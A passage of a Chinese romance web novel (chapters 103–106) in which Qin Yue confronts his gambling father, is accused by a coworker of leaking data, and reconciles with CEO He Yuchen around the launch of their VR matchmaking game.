“是不是你朋友的?”男人一听,这跟他打探的消息这不对上了吗。他有些后悔,没早点来找秦越了,要不然也不至于这段时间东躲西藏的,连个落脚的地方都没有。 他看向秦越拎着的塑料袋,“你还买菜了?正好我也饿了,快进门做饭吧。” 秦越只是轻轻笑了一下,然后把袋子放在地上,在男人错愕的目光中,一拳打了过去。 “啊!”男人顿时痛呼一声,在惯性下踉踉跄跄地退了几步,狠狠撞到墙上,他捂着脸,发出杀猪般得嚎叫。 秦越下手不轻,男人顿时眼眶上多了处红肿,连他自己的指骨也在隐隐作痛。 “这就疼了?”秦越甩了甩手,冷笑道:“你怎么不问我妈当年是不是也那么疼。” “你打我?!”男人被打懵了,过了好一会才反应过来,然后不可置信地指着他怒喝到:“你敢打你老子,无法无天了!” 秦越收了笑,面无表情地说:“你该庆幸自己躲得好,不然我早就打你了。” 他现在心里早就没了最早的失望。 那时候债主找到家,秦越才知道他父亲到底欠了怎样一笔巨款。他妈也是从最初相信对方会戒赌,到最后的心如死灰。 男人还在捂脸结果又挨了一拳,这次被打到了胃部,他蜷在地上,断断续续地说:“这里有摄像头……小兔崽子你完蛋了,赔钱!赔钱!!” 秦越看他着实碍眼,索性把人踢到一边,然后打电话给简淮川,准备让他来处理这个渣滓,免得影响他妈跳广场舞的心情。 电话还没拨出去,一个看着虎背熊腰的壮汉从电梯里冲出来,气势汹汹地停在公寓门口。他皱着眉看了眼秦越,又看了眼地上哎呦叫唤不停的男人。 秦越啧了一声,觉得这人搞不好是来追债的,事情变得麻烦起来了。从法律意义上,他还是这个渣男的儿子,收债的人又不管三七二十一,逮到一个就薅一个。 壮汉大喇喇地当着两人的面拨了个电话,那边的语速很急,壮汉逮到空隙才回了几个字:“没事……他现在很安全……您别急慢慢来。” 他挂了电话,无视了秦父,站在秦越面前问道:“只有他一个人吗?” 见到秦越戒备地看着自己,他才意识到还没自我介绍,于是憨厚一笑摸了摸脑袋,刚才佛挡杀佛神挡杀神的气势烟消云散了,“我是贺总的保镖,找事的是不是就他一个人?” 秦越:“……” 壮汉也不着急,他突然一个立正站在一边,尽职尽责地守岗起来,“您要是不信的话,等会贺总来了他会跟您解释的。” 秦越弯腰捡起地上的袋子,然后开了门,“麻烦你把这个人移走吧,别让他挡道。” 说罢,他看了一眼摄像头。 摄像头那边的保安被看得一个机灵。 可这也不怪他,贺煜臣让他没事多关照这个住客,所以他看见一个可疑的人在这人门口徘徊很久后,就直接通知了贺煜臣。 结果,可疑之人直接被撂到在地。 保安轻车熟路地把监控视频剪掉了一段。 当然了,他什么也没看见。 第103章 贺煜臣的手停留在门铃前很久,他不知道自己该不该按下去。 早知道,他当时应该让那个保镖守住口风,就说自己是个路过的好心人。 结果现在好了,秦越知道是自己派人过去的了。 保安告知贺煜臣的时候,他来不及思考,就让离那最近的保镖去解围。事发突然,他那会也没想过怎么跟秦越解释,为什么自己的保镖会如此准时地出现在那。 可能是秦越不告而别变成了他的心病,导致他变得有点……疑神疑鬼? 贺煜臣像个被圈在原地的蚂蚁,没有方向地在门口打着转。 又是冲动。 他才莫名其妙地跑到这里来。 门没有预兆地开了。 秦越一边给他开了门,一边顺手把围裙解开了,厨房里的抽油烟机还在工作,轰隆隆得响。 “你怎么不按门铃。”秦越在鞋柜里找了一双拖鞋,凑合着递给贺煜臣,然后又转身进了厨房,“可视电话一直看见个影子在走廊动来动去的,我还以为见鬼了。” 贺煜臣单手拢在嘴巴,掩饰性得咳了一声,“我担心房子出了问题。” “哦,我根本没给他进来的机会。”秦越的声音远远的从厨房飘了过来。 与之而来的,是厨房里飘来的一股虾仁的清淡鲜味。 秦越端着一盘虾仁什锦滑蛋放在桌上,“我现剥现做的,就当感谢你为了提供住处了。” 他表现的很坦然,似乎一点也不好奇为什么贺煜臣会出现在这,语气间仿佛他们又是当年相处的轻松氛围。 贺煜臣刚进屋的那股不自在慢慢地消失了。 公寓装修走得简约风,没有什么花里胡哨的装饰,加上秦越没带什么东西来这里,导致这个“家”看起来空荡荡的,少了点活人味。 秦越已经饭都端了上来,看见贺煜臣还在皱着眉打量周围,他纳闷地跟着贺煜臣的视线打量着四周,“怎么了?” 他应该没破坏贺煜臣家的一砖一瓦吧,对方一副审视租客的眼神是怎么回事? “……”贺煜臣一言难尽的样子,“你就没有一些自己的东西吗?” 要不是刚才秦越在厨房里现炒了几个菜,他甚至都看不出这里有秦越生活的痕迹。 “有啊。”秦越笑了笑,拉开餐桌旁的椅子坐了下来。 贺煜臣不明所以地被招呼落座,然后秦越下一句话就跟惊雷一样落在他的耳边。 “你给我的礼物不就在那个柜子上面吗?” 贺煜臣目光僵硬地移到一个布满很多小格子的收纳柜上,最上面赫然是他当年送出去的礼物。 那是一个装满巧克力的盒子,其中一个巧克力包装纸被他拆开了,里面没有巧克力,取而代之的是他折好的情书。 心脏跳得好像临死前的挣扎,贺煜臣感觉自己坐在了法庭的被告席,等待着死刑的宣判。 秦越这时候提这个是什么意思? 是觉得他跟简淮川是同类的人,都是趁人之危的垃圾,还是悄无声色地暗示拒绝呢? 等到心脏慢慢恢复了平静,巧克力包装纸的形状在贺煜臣的视线里有了实状,他突然意识到那个盒子貌似没有被打开过。 果然不出所料的,秦越看出了他的疑惑。 “我没有拆开。”秦越说道。 秦越没有拆开过……他根本就不知道!贺煜臣的心情跟过山车一样上上下下,从一开始的紧张到最后的木然。 贺煜臣自己是个包袱感极重的人,也许是家教,也许是随着父亲见过形形色色的人,他总是能做到不失态不冒进。 而他唯一做过的冲动事情,就是当年写出的那一封信。 有的人说感情里面先陷进去的那一方是输者,因为他们情难自禁,难以自拔。 可年轻的贺煜臣根本没有想那么多。 贺煜臣有种荒谬到好笑的感觉,“十年了,你就没有想过打开过它吗?” 秦越顿了顿,补充道:“因为吃了就没了。” 当年他又不知道啥时候才能回归正常生活,加上这个礼物来自重要的人,他总是希望能保存的更久一点。 ……结果一个没留神,就过了保质期,后来他索性就留着这个盒子当个念想了。 贺煜臣噎了一下,“所以这事还怪我了?”他独自懊恼后悔那么多年,原来都是庸人自扰,秦越压根没看见自己留给他的纸条。 秦越表情无辜,眼里写满了真诚,甚至还把虾仁什锦滑蛋的碟子往贺煜臣那边推了推。 贺煜臣快气笑了,他朝秦越伸出手,“还我。” 秦越咬了咬筷子,没跟上贺煜臣的节奏,“还你什么?” “巧克力。” 秦越震惊,“不是吧,你什么时候那么容易生气了?” 贺煜臣用平静的语气来掩饰他的恼羞成怒,他咬牙切齿道:“那么久不拆开,证明你不喜欢。怪我没有问清楚你的喜好。” 自从他大学毕业之后,自己脾气稳定的可怕,业内熟悉他的人都知道他是个很好说话的人。 可偏偏每次遇到秦越他就很难控制自己的情绪。 秦越没料到贺煜臣居然是认真的,但他听出了对方语气里的阴阳怪气。秦越沉默扶额:“吃完饭我当着你的面拆开,行不行?” 实在不行的话,他可以冒着食物中毒的风险吃一个,证明他真的不是不知好歹的人。 嗞啦—— 对面椅子刺耳的拖动声骤起,秦越张了张嘴,看见贺煜臣腾得一下站了起来,并且脸黑得像是马上就要揍他几拳解恨。? 他只是没拆一个礼物,这不是什么罪大恶极的事情吧? 秦越看了贺煜臣几眼,迟疑道:“那……不拆了?” 贺煜臣咬了咬后槽牙,“还我。” 开什么玩笑。 当面被告白对象看到自己青春期写的情书,他一介总裁的脸要往哪里搁。 秦越点了点桌子,示意贺煜臣坐下来。 “有什么事,吃完饭再说。” 贺煜臣坐下的一瞬间懵懵地想,自己为什么要听秦越的话。 虽然如坐针毡,但与生俱来的矜贵,让他仿佛不是坐在普通餐桌边,而像是某个正在评测的美食家。 嫩滑的鸡蛋包裹着弹牙鲜美的虾仁,出乎意料的,秦越的手艺居然不错。 贺煜臣不知道是,秦越做过很久的病号饭,毕竟照顾一个病人那么久,讲究的就是一个清淡和营养。 直到餐毕,秦越才开口。 “那是我爸。”秦越笑了笑,“你应该也见过他。” 贺煜臣大脑飞快过滤一遍信息,结果也只能呆呆地重复了一句,“你爸?” 那个不久前被秦越按在地上打的人,是他爹? 秦越把自己的爸揍了? 不对,他之前提到秦越父母的时候,对方不是说自己没有父亲吗? 贺煜臣视线尴尬地慢慢移开,他现在更如坐针毡了。 相较之下,被人当面朗读情书也不算什么尴尬的事情了。 气氛渐渐凝固。 意识到自己貌似不经意间知道秦越的秘密,贺煜臣反而不知道怎么开口了。 秦越抬眸看向贺煜臣,“下次你看见他,跟我一样就行了,免得被他缠上甩都甩不开。” 跟你一样什么? 跟你一样把他揍趴在地上吗? 哪怕见惯了大场面的贺煜臣,此刻也不知如何应对,几粒米在唇齿间翻转几次,他才缓缓咽下去,然后装作风轻云淡地点了点头。 秦越试探着推进话题:“你就不问为什么吗?” 人无措的时候总会装得很忙,贺煜臣专心致志地低着头,好似碗里开出了一朵花。 贺煜臣飞快地瞟了一眼秦越,发现对方还在认真地盯着自己,只好硬着头皮说:“如果你想说的话。” 秦越云淡风轻,说的仿佛是个与自己无关的人:“他欠了一屁股债,所以你最好别让他知道你跟我有关系。” “什么时候的事情?”听到这话,贺煜臣猛地抬起头,他不自觉地手指收紧,像是抱着什么巨大期望问道。 秦越轻轻呼出一口气,“我高三的时候。” “其实他很早就开始赌了,只是到了高三那年,家里再也兜不住他这个无底洞了。” “所以,我当初并不是故意不跟你告别。” 我只是……不想分享我的痛苦。 那时我还太年轻,还做不到坦然地把自己脆弱的样子,清清楚楚地展示在你面前。 秦越难得如此坦诚,他不是善于表达自己的人,但也不想让贺煜臣对他心存芥蒂。 今日的心情已经不能用过山车形容了,贺煜臣扯了扯嘴角,勉强露出一个笑容:“原来是这样,我还以为……” 秦越目光迷惑地望向贺煜臣:“你以为什么?” 以为你连夜爬上崆峒山了,还是买站票走的。 贺煜臣木着一张脸,一声不吭。 最后,贺煜臣张了张嘴,指向秦越放在身后桌子上的手机,“有人给你打电话了,你不看一眼吗?” 对于贺煜臣的转移话题,秦越也拿他没有办法。 秦越打开手机一看,是简淮川连发了好几条语音,还有几通未接来电,秦越不想挨个听他的废话,索性一键转文字。 [打我电话干啥,你那边啥动静,叮铃咣当的。] [哦,我知道了,你是想清楚了。] [你终于明白越好看的男人越会伤人了。我大人不记小人过,回来吧,小爷这才是你永远的家。] 这些不着调的话看得秦越眉头一皱,估计是刚才在门口的时候,他已经打通了简淮川的电话,但忘记挂断了。 他想了想回复了一句:[是那个死老头找上门来了。] 简淮川一见到这个消息,立刻正襟危坐。他知道能让秦越大动肝火的死老头是谁。 想当初在国外,简淮川混吃等死,吃喝玩乐的那会,他亲爹总是拿秦越他爸举例子,告诫他但凡敢去赌场,就把他腿打折。 [他怎么找到你的,阴魂不散跟个鬼似的。] 秦越抬眸,跟贺煜臣四目相对。 贺煜臣明显不爽:“又是简淮川?他是狗皮膏药吗。”他走了过来,在秦越默许下拿到手机,正好手机上弹窗上跳出了简淮川最新发来的信息。 [要不要我去处理一下。] 贺煜臣直接反手打了电话过去。 简淮川急吼吼地问道:“喂?你爸没把你怎么样吧,我马上就处理……” “不劳烦简董费心了,我会处理。” “你谁啊?你……”那边回味了几秒,觉得这声音有些耳熟,“噢噢,好巧啊贺总,是你啊。” 又过了几秒。 “不对,贺总你怎么大晚上在秦越家啊?!” 贺煜臣不顾那边的陡然拔高一个度的声音,挂掉了电话,把手机扔回秦越那。 “能不能把他删了。”贺煜臣冷声道。 还没等秦越回话,贺煜臣突然想起来什么,表情更是直逼零下十几度。 “简淮川早就都知道你的事了?”贺煜臣气得声线都带着颤:“你宁愿跟他说,也不告诉我?”—— 作者有话说:小贺:气死[小丑] 第104章 噢。 坏事了。 秦越不太擅长撒谎,当初跟贺煜臣见面时,也只能算是即兴演出。如若不是贺煜臣自己乱了分寸,他这种拙劣的表演分分钟就要露馅。 秦越只思考了一小下,就想坦白,他跟简淮川又不是什么见不得人的关系,最开始他顶多就是想博得一点贺煜臣的同情,眼下坦白局已经结束,是时候跟贺煜臣解释清楚了。 “是他自己查出来的是吗?”贺煜臣突然问道。 秦越:“……?” 什么跟什么? 他还在凌乱中,贺煜臣已经开始了自己的推理,“简淮川不可能让不知底细的人待在自己身边,因此他查了你的经历,是不是?” 秦越:“…………?” 贺煜臣像是不愿意把自己的推论说出口,几番纠结之下,才勉为其难地说:“所以,你是因为这个原因,被强迫的吗?” 这听上去很合理,简淮川帮秦越解决了他的赌鬼父亲,而他根本别无选择。由于自己横插一刀,简淮川不满意了,这才没有再管他爸,让对方找到了这里。 刚才简淮川的那通电话,听上去是安慰,实则是赤裸裸的威胁。 想到自己不久前还斥责秦越自甘堕落,贺煜臣想穿回去给那时的自己一巴掌。 秦越:“……” 居然让贺煜臣自圆其说了。 对不住了兄弟。 秦越在心里祭奠了一下简淮川,然后沉痛地低下了头。 秦越的垂首宛若一记重拳捶在贺煜臣看似还挺拔的脊背上。 贺煜臣再也受不了了,他想离开这个窒息的氛围。 他开始恨自己为什么没有早点发现,既然简淮川随手查查都能知道,他当初为什么不管不顾呢? 贺煜臣的手刚悬在门把上,就被猝不及防地抱了个满怀。 身后的人声音带着不安:“我怕他还会找来。” 贺煜臣身体僵直,下意识想告诉秦越不会的,自己手下会不分昼夜地盯着那个赌鬼,他再也不会找你的麻烦了。 秦越比他高一些,此刻正轻轻地把下颌抵在他的肩膀。 像是来自深海的塞壬,低声说道:“留下来吧。” 贺煜臣闭上眼,没有说话- 周瑶这段时间意兴阑珊,因为大神很久没理她了。 她有点奇怪,明明之前她提出要更新程序,提高神经元利用率时,对方是表示赞同的。但这段时间,无论自己怎么“骚扰”对方,愣是没回她一条消息。 周瑶思来想去,只能猜测是不是芯越智能觉得开发新程序,提高了预算,影响对方公司的运转。 芯越智能毕竟是个新上市的公司,跟贺氏这种家大业大,横跨无数个行业的工业巨头比起来,一旦资金链断了,就极可能一蹶不振。 实在不行,能不能让贺总直接把芯越智能收购了呢? 周瑶托着着下巴,还在不死心地等着没有消息的聊天窗口,[不是人类]的头像仍旧灰蒙蒙的。 被周瑶寄予厚望的大神正跟叶晖擦肩而过。 叶晖目光移到秦越端着的咖啡杯,不冷不热地说:“某些人一天到晚什么事情都没有,还需要喝咖啡提神吗?” 秦越俯视了他几秒钟,然后恍然大悟地说道:“噢,你是那天的叶先生,对不对。”这次他不是故意要气叶晖,而是他确实都记不清这个人的长相了。 他一向不太爱记人名和长相,特别是叶晖他只见过一面。要不是叶晖的发型和衣着没变,秦越估计都快对不上人了。 没想到自己被这样无视的叶晖,直接给气愣了。 他最初只当秦越是个会卖惨的草包,结果见到秦越在这上班后,给叶晖直接整不会了。 难道贺煜臣就吃这套的? 叶晖开始有意无意地在秦越眼前乱晃,想瞧瞧这人到底有什么能耐。结果晃了几周后,发现这人是一点不搭理自己,把他当成了一团空气。 被彻底无视的叶晖终于是憋不住了,碰巧从茶歇区回来的时候碰到了秦越,忍不住阴阳了他一句。 “秦先生,真是贵人多忘事。”叶晖眯了一下眼睛,语气不善。 秦越笑了一声,“可能是我没把你当一件事情吧。” 叶晖嘴角微微抽搐,“你这话敢当着贺总面说吗?他知道你这一幅面孔吗?” 秦越像是没听懂他的话,侧了侧问道:“你难道不是人吗?我为什么要把你当一件事情。” 说完,他把无能狂怒的叶晖丢在原地,朝着茶歇区去了。 为什么大早上就要遇到神经病? 秦越面无表情地想。 要不是办公室人多眼杂,有些工作确实不好展开,他才不会特意来到了没人的茶歇区。 秦越跟简淮川交代这次更新程序后,可能会产生哪些问题,说着说着他不由自主打了个哈欠。 开玩笑,他熬了好几个大夜还能站着就不错了。 为了把周瑶的理论和现实结合,他这段时间基本没怎么休息,最后赶出了这个新程序,秦越准备让简淮川先在服务器上试运行一下,再跟周瑶商量更新程序的事情。 秦越揉了揉太阳穴,在茶歇处煮了杯咖啡才晃晃悠悠地回办公室。 结果他还没走到办公室,走廊上就有不少员工就开始偷偷摸摸地用余光瞥着他,见到他回望过去,立刻做贼般地一扭头,继续跟旁边的人窃窃私语。 秦越稍稍不解,有个好心的同办公室员工指了指他办公室,告诉他:“好多领导在你办公室……应该是来找你的。” “还有……刚刚你说去倒咖啡的时候,那个项目部的叶晖来你工位了。” 秦越活了二十多年,一直认为看热闹跟自己没什么关系。 而现在他变成了闹剧里面最闪亮的那颗星。 办公室门一开,里面所有人齐刷刷地看着他。除了一些公司的高层,其他同办公室的打工人都被清出场了。 叶晖很不满意。 他没有看到想要的场面,秦越既没有脸色发白,也没有痛哭流涕地开始忏悔,竟然跟那天见面一模一样的坦然和无辜。 他!凭什么!还能装得下去。 秦越自然而然地也看到了站在他电脑旁边的叶晖,眼见对方牙都快咬碎了,他几乎瞬间就知道是谁干的好事了。 叶晖见贺煜臣还没有发难,只好自己先表演了一番痛心疾首,“秦越你怎么能这样?” 秦越一个眼神也没给他,反而看向贺煜臣,告状道:“他怎么能那样?” 叶晖一听,连忙从人群后面蹦到前面来,他对秦越倒打一耙的行为感到震惊,“我怎么样了?你这时候还想狡辩什么!” 秦越:“你没经过我同意打开了我的电脑,这是不对的。” 叶晖:“!” 他气得要晕厥,用力拍了拍桌面,“你别扯开话题,贺总,您可以自己看,秦越他的确给简淮川发送了东西!我粗略看了几眼,跟周部长上次提出程序更新方向一模一样的,我怀疑他偷了我们公司的数据!” 贺煜臣扫了一眼周围人的表情,最后目光落在神情恹恹的秦越身上。 半晌他开口说道:“你有没有什么想说的。” 其余人的目光嗖得一下全投在秦越身上。 突然变得很瞩目的秦越:“” 秦越顶着几个人的死亡视线,简短地发表了自己的感言:“不信谣,不传谣,不造谣。” 叶晖眼睛瞪圆,充斥着震惊,急道:“你是说我在欺骗贺总吗?!” 不过他很快就冷静下来,这次劣势的是秦越,他顶多算是侵犯了个人隐私,但是这比秦越的商业犯罪轻多了。 旁边站桩的周瑶快烦死了,她作为项目的核心成员,她比谁都清楚最新的程序目前还只是一个猜想,都没真正开始着手来做,况且这个程序也不是她说做,就能立刻做出来的。 可是叶晖如此信誓旦旦地冲进贺煜臣办公室,声称自己抓到了商业间谍,而贺煜臣既然听到了就不能不管,于是把正好在那做工作汇报的她也给带来了。 天杀的,她手上还有一堆破事呢! 她一点也不想加入办公室勾心斗角的大戏里。 周瑶用力挤开叶晖,再继续这种无效的沟通,她今天怕是别想干正事了,“让一下,我来看看。” 贺煜臣唇角抿了抿,他望向悠哉喝了一口咖啡的秦越,眼底浮上一点了然。 说实话,贺煜臣是不信秦越能干出这种事情的人。对秦越来说,偷窃别人的成果,就是让秦越承认自己不如别人,这比杀了他还难。 但贺煜臣又不明白秦越到底在给简淮川发什么,如果是普通的聊天短信,这算不上什么把柄。 “你……”贺煜臣皱眉想问什么。 秦越又打了个哈欠,耷拉着眼皮,他本来就不是好说话的长相,眼睛垂下的时候,简直可以说是凶着一张脸。 然后凶巴巴的人低着声音,悄悄地对贺煜臣说道:“我有点困了。” 喑哑的声线带着疲惫,莫名让贺煜臣心里一软,对方就像是只会朝自己示弱的野兽,信任地展现着自己的所有的情绪。 贺煜臣强行地将心绪压下,在这个场面,他不能过度地表现出偏袒出秦越的意向,所以只能问周瑶怎么样了。 叶晖站在房间一角,比当事人更紧张地盯着周瑶的表情。 周瑶看了一行两行代码……看到最后她两眼放光,随即目标明确冲着秦越就过来了。 叶晖不由自主地喜上眉梢,他知道自己赌对了,秦越正在给简淮川上传的东西,绝不是什么普通的数据。 周瑶作为一个科学狂人,在见到偶像的狂喜中无视了老板想杀人的目光,握住秦越的双手就开始疯狂地上下摇动着。 周瑶边握手边确认道:“你……不是人类?” 秦越微微一愣,不确定地看了她一眼,说道:“你……是在骂我?”—— 作者有话说:估摸着下章完结[小丑]应该大概可能 第105章 周瑶动作卡了一下,然后把头摇成了拨浪鼓,“不是不是。” 叶晖急眼了,“不是什么啊?”这不是他计划中看到的场面,但没一个人愿意分出多余的眼神给他。 秦越试图把手抽回来,周瑶快把他手晃麻了。 可是周瑶没有松手的意思,转而向脸色阴沉的贺煜臣小声介绍道:“贺总,这就是我之前说的,芯越智能的那位合伙人……” 等等。 ……合伙人?! 这么说来,他们私自篡改了程序的对象是…… 本来是跟偶像近距离接触的喜剧片,现在直接变成了恐怖片。 周瑶惊恐地看着秦越。 同样她在秦越的眼里也看出了点紧张。 秦越紧张什么呢? 周瑶一扭头就看自己老板沉默地露出一个微笑,不知怎的,她浑身上下突然凉飕飕的。 这时候,贺煜臣还有什么不明白的,他点了点头,一字一顿地说道:“秦越,你可真行。” 可在被欺瞒的气愤之下,是他自己早就发现的另一种情绪。 贺煜臣想隐瞒下去,但他悲哀的发现骗不了自己。 在错过的十年里,贺煜臣一点不知道秦越到底在做什么。 秦越的一切喜怒哀乐,他也未曾有机会参与。 更糟糕的是,跟他合作的简淮川则是一直陪伴其左右。 这种名为失落的情绪在撕咬着他的理智。 被晾了很久叶晖心里乱成一团,他也没听见周瑶说什么,只瞧见周瑶低声跟贺煜臣说了什么,结果贺煜臣就神色极差地压着怒气说了秦越一句,接着似乎就要轻拿轻放,无事发生了。 叶晖不允许这样的事情发生,也顾不上什么上下级关系,他只想知道结果。 “贺总。”叶晖三步并作两步,拦住了贺煜臣的去路,“这事难道就这么算了?” 本来贺煜臣被秦越气得发晕,都忘了还有叶晖这号人。他一出声倒是提醒了贺煜臣,他看了一眼叶晖,然后冷冷道:“去人事部那里办离职手续吧。” 周瑶挽留的手还停留在半空中,无力地喊道:“等一下……” 可惜没人听她的。 周瑶眼睁睁地看着老板一怒之下甩手就出了办公室。 哎?等一下啊,你们的前后顺序是不是不对啊。 不应该是老板追着大神解释吗?为什么生气的是贺煜臣? 周瑶觉得这剧情她貌似没看懂,但还是尽职尽责地让看热闹的人散了,“都站在这干什么?手上的工作都处理完了?” 打工人互相望了望,知道也看不出什么更劲爆的东西来了,各自三三两两的回到工位上。 虽然人看似规规矩矩地坐在电脑前,但八卦的心是没有停止的,所有人键盘敲得响亮极了。 秦越还是慢了一步,赶到贺煜臣办公室门口就吃了个闭门羹。 周瑶气喘吁吁地赶了过来,拦住了秦越。 “那个。”周瑶有点不敢看秦越的眼睛,她捏着手机,屏幕上是不久前贺煜臣给她发的消息,现在手机不是手机,是一个马上就要炸了的炸弹。 最后周瑶还是拉开了“炸弹”的保险,对秦越说道:“贺总说……您以后也不用来了。”- 简淮川在自己家攒局,就两个人。 他跟秦越。 主要谈话内容是抨击看不上自己的老爹,以及对将要公测的项目进行展望。 几盏过后,他有点喝高了,开始畅想未来,“我要把老头子在北美的庄园买下来,以后他想来还得经过我同意。” 秦越冷不丁地开口:“我现在有点问题。” 简淮川沉浸在项目即将上市的喜悦中,敷衍地笑着,“没关系,出现bug就修复,不是什么大问题。” 想着回家不用被老爹指桑骂槐自己是个啃老族了,简淮川说这话的时候忍不住嘴角上扬。 秦越貌似很苦恼:“不是项目的问题。” 难得看见秦越阴云密布着一张脸的简淮川,此刻善心大发,“来,说吧,让兄弟替你想想办法。” 秦越:“贺煜臣对我有意见。” 他有点不好意思直白地说,他演戏成功地演过了,然后把人惹毛了。 简淮川顿了三秒,酒醒了。 他大惊失色:“怎么了,贺煜臣终于要把你沉江了吗?” 秦越莫名其妙地看着他。 简淮川来回踱步语速飞快,“我早就说别招惹他,我在这也没什么根基,要不你赶紧出国吧。” 说着他情急之下就要开始打电话摇人,秦越忍无可忍抢先一步按断了电话。 “你在胡说八道什么?”秦越试图让简淮川理解现状,“我们现在是出现了感情危机,不是出现了生命危机。” 简淮川深吸一口气,他想自己一定是听错了,“你和谁有感情问题?” 秦越面无表情:“你刚才说要把我沉江的人。” 简淮川僵硬地笑了几声:“哈!哈!哈!我一定是听错了。” 秦越让简淮川直面事实,“你没听错。” “这简直是危言耸听!”简淮川大受震撼。 秦越疑惑地盯着他,“那要不然我为什么要去他那边上班。” 大哥,你原来真的是恋爱脑吗! 之前那些难道不是玩笑话吗? 一直以为自己是在开对方玩笑的简淮川,意识到小丑竟是我自己,露出一个苦涩的笑容。 随后他再也控制不住吼道:“谁知道啊!我以为你是去报复人家去了。你说你们是同学关系,我还以为你高中时候被贺煜臣霸凌了呢!” 这不怪简淮川,因为他认识秦越的时候,只觉得这人沉默寡言,说话还不好听,妥妥一个加了毒舌属性的nerd,搁国外高中里,这不是典型的被霸凌对象吗? 秦越以为自己听错了,带着点迟疑的茫然:“谁?” 简淮川:“你!” 他烦躁地在自己客厅里走来走去,“天杀的,机器人居然会谈恋爱了。” 秦越:“。” “那你当初为什么要数据备份啊?”简淮川还是不理解,“我以为你是发现了贺煜臣的问题,拿捏住了他们的把柄。” 秦越:“……我就是想看看我自己的实验数据。” 简淮川一脸所以呢。 秦越:“因为跟我匹配的对象,就是你说要把我沉江的那位。” 简淮川礼貌微笑:“好了,别说了,再说就烦了。” 秦越看着简淮川从客厅的落地窗左边踱步到右边,最后语重心长地拍了拍自己的肩膀,“不行啊兄弟,你这是高攀了,咱们家付不起婚礼礼金的。” 秦越表情麻木地推开简淮川,“建议呢?办法呢?” 简淮川可算逮到机会了,他幸灾乐祸:“咋了,你是不会道歉吗?” “道歉也不能非法闯入私人领地。” 简淮川装作恍然大悟:“哦,人家压根不搭理你了是吧。” 该该该。 终于有人能制住你了,简淮川勉强压制住要翘不翘的嘴角。 然后……然后他就看见秦越走了。 “你去哪?” 秦越:“噢,你刚刚提醒我了。” 简淮川一懵:“我提醒你什么了?” “项目要公测了。”秦越补充,“所以贺煜臣肯定会去发布会的。” 简淮川:“…………” 上苍啊,能不能给个机会,让他拿捏对方一次。 一周后,《恋爱百分百》正式公测。 这是第一次虚拟现实项目大规模运用到游戏领域,虽然号称是虚拟恋爱游戏,但是除了一些固定的npc,系统匹配的都是真实存在的人。 虚拟现实技术有效地解决了时间和距离的限制,让这辈子可能都见不上一面的人,亦或是只是擦肩而过的人,在这里成为了可以相伴一生的爱侣。 发布会底下有记者举手问道:“我想提问。” 贺煜臣瞄了一眼他话筒上的标志,那是一个对AI技术有强烈敌意的学术论刊的刊名。 知道对方是冲着自己来的,但这种场合没有反对意见是不可能的,只能见招拆招。 得到了允许后,记者说:“我对刚才你们所说的‘真实’保留看法。” 众所周知,保留看法就是不认同。 “首先这是虚拟的,我并不想跟您辩论虚拟现实和真实现实是不是同一类的东西。”记者面带微笑,带着探讨的语气说道,“其次,我最在意的一点是关于你们所说的匹配系统。” “你们的匹配系统据说是通过AI来筛选,通过小世界的互动来匹配出适配率百分百的伴侣对象。” “可是AI又不是人类,他们会如何判断呢?” 这话还没等贺煜臣回答,台上一位参与研发的人员不假思索道:“AI可以通过收集玩家的感觉,来判断出是否进行下一轮匹配。” 记者抛下一记重锤:“您是说,只凭这种看不见摸不着的感觉,就可以判定对方是可以和你相伴一生的人吗?” 台下的人面面相觑,毕竟大部分人对AI还是持观望态度,此言一出,的确让很多人窃窃私语起来。 “因为,喜欢本来就是一种感觉啊。”有个低沉的声音打断了议论。 记者注意到贺煜臣旁边的男人。 对方长得其实让人过目难忘,但由于刚才基本没有说什么话,所以才让他忽略了这个男人。 男人眉眼深邃,虽然是用一种平静语气跟他对话讨论,也让他莫名紧张起来。 秦越慢条斯理地说:“这里面的AI顶多算是个监控工作,你在虚拟世界里依旧是你自己,包括且不限于性格和习惯。” “如果您觉得您一进虚拟世界就性情大变,那我觉得您应该需要反思,是不是在现实世界里,某些方面压抑太久了。”—— 作者有话说:以为这章能完结[小丑]发现太长了,分两章写了魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第106章 众人发出善意的哄笑声,然后有人说道:“没错没错,现实里我都是带着面具生活,在网上我反而更放松了,也许虚拟现实可以让人更坦诚一点吧。” 记者眉毛一抖,但还是压下了不爽的情绪,“您是如何确信进入虚拟世界,性格会不变的呢?你们之前说了为了让人更好的体验小世界,真实世界的记忆是清除的。” 他话音刚落,就察觉到对方的目光怼到自己身上,他甚至以为这个男人会忍不住,要开麦说他没完没了了。 不过这样也好,先憋不住的人在公众眼里会率先失去公信度。 秦越反应很平淡:“你提出的想法很有意思。” 记者:?这人怎么回事,怎么不按套路出牌。 “不过我可以跟你保证,的确没有什么变化。”秦越语气冷静,“因为我也参加了内测的实验。” 底下人更热闹了,哪怕有维持秩序的员工,甚至有人还高喊了一句:“那秦先生有没有匹配到对象啊!” 秦越收回视线,承认了自己的失败,“匹配到了……但对方没有看上我。” 贺煜臣深深地看了秦越一眼,他倒是没怎么见过秦越这么僵硬的模样。对方的手交叉收拢在桌面上,在台下人看不见的角度里,贺煜臣清楚地看见秦越不自在地把手攥成一团。 仿佛那句话用尽了他全身的力气。 记者顿了顿,没想到秦越会这么回答,他锲而不舍地追问:“所以您意思是就算适配率百分百,程序互相发送了双方的身份信息,但也会出现不成功配对的情况?” “当然,就像我之前所说的,我可以跟您保证这个AI并不能强制你做任何事情。”秦越颔首,给自己的话划上了句号,“因为真正做决定的,是真实的你自己。这么说,您安心了吗?” 记者被回怼得无处辩驳,只好老老实实地坐下,“我没有别的问题了。” 在一片堪称“包饺子”的气氛中,发布会散场了。 这次就算贺煜臣想让秦越吃闭门羹,他也没有门可以关。 不,他还有车门可关。 如果不是因为狠不下心来,把秦越的手夹断的话。 所以贺煜臣干脆走到没人的角落,这会他已经能做到喜怒不形于色了,公事公办道:“你还有什么事吗?” 他们现在至少还是合作伙伴关系,弄得太僵也不合适。 犹豫良久,秦越还是说道:“抱歉,我不是故意要骗你的。” 见贺煜臣不回话,秦越又想起小世界里的贺煜臣跟现在如出一辙的固执。 秦越言简意赅:“因为数据的事情,我以为你不想见我。我……没有办法。” 贺煜臣微微叹气,眼睫垂下,私自篡改系统其实比秦越骗他严重多了,他自知理亏:“那我们各退一步,这事就这么算了,行不行。” 秦越见他无非就是想解释当年为何不告而别,他如今已经知道了,那接下来两个人是不是就该分道扬镳了。 “好啊。” 明明是一句贺煜臣已经能猜出来的回答,可却让他的心沉了下去。 贺煜臣勉强露出一个笑容,维持着下意识的礼貌,“那……再见。” 